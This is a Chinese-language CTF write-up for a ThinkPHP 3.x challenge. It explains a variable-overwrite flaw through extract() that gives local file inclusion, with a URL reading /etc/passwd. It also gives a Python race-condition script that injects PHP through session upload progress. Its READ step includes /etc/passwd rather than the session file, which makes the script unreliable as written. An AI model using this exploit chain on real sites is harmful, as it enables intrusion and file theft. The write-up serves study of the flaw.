最近学了点thinkphp,于是想复现一道NSSCTF上的原题
直接下载附件,可以看到是thinkphp的格式
查看IndexController.class.php
<?php namespace Home\Controller; use Think\Controller; class IndexController extends Controller { public function index($doge=''){ if(preg_grep('/flag|Home|Common\/21/i',$doge)){ die("<dialog open>Get Out Hacker!</dialog>"); }else{ $this->assign($doge); $this->display(); } } }
参考这篇文章
https://www.cnblogs.com/zpchcbd/p/11949672.html
大概的调用过程(摘自freebuf)
传入的数组变量$doge最后赋值给$vars,从而可以使用extract()函数会对其进行变量覆盖 public function load($_filename,$vars=null) { if(!is_null($vars)){ extract($vars, EXTR_OVERWRITE); } include $_filename; //进行包含文件的操作 } 传入$doge为array(['_filename'=>'/etc/passwd']) 构造url可形成任意文件包含漏洞 http://1.14.71.254:28039//index.php?g=index&m=home&a=index&doge[_filename]=/etc/passwd
后续只需要利用条件竞争把文件传上去即可
import io import sys import requests import threading sessid = 'aaa' sess_path='/tmp' url='http://1.14.71.254:28039/' def WRITE(session): while True: f = io.BytesIO(b'x' * 1024 * 50) session.post( url=url, data={"PHP_SESSION_UPLOAD_PROGRESS":f"<?=phpinfo();file_get_contents('flag.php');?>"}, files={"file":('xxx.txt', f)}, cookies={'PHPSESSID':sessid} ) def READ(session): while True: response = session.get(f'http://1.14.71.254:28039//index.php?g=index&m=home&a=index&doge[_filename]=/etc/passwd') if 'upload_progress_' in response.text: print(response.text) sys.exit(0) else: print('++++++retry++++++') def main(): with requests.session() as session: t1 = threading.Thread(target=WRITE, args=(session,)) t1.daemon = True t1.start() READ(session) if __name__ == '__main__': main()